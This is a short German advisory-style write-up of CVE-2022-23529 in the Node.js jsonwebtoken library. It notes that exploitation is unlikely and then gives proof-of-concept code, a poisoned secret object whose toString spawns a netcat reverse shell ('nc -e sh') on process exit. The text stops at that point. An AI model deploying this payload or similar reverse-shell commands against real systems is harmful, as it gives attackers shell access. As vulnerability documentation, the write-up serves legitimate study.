CVE-2022-23529

Die JSON-Web-Token (JWT)-Bibliothek in Versionen vor 3.4.6, 4.0.4 und 4.1.5 ist anfällig für RCE.

Die HMAC-Hashfunktionen akzeptieren beliebige Zeichenfolgen als Eingabe, was zu RCE führt.

Aufgrund der Voraussetzungen ist diese Schwachstelle wahrscheinlich nicht ausnutzbar.

Um diese Schwachstelle auszunutzen, müsste ein Angreifer eine der folgenden Bedingungen erfüllen:

• Der Server speichert geheime Schlüssel nicht sicher.
• Der Angreifer muss Zugriff auf die geheimen Schlüssel haben und diese kontrollieren können.

npm install [email protected]

var jwt = require('jsonwebtoken');

Erstelle ein Token mit dem Secret des Servers

var token = jwt.sign({"x":"y"}, 'servers_secret');

Erstelle ein schädliches Objekt, das eine Reverse Shell enthält (node.js)

var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}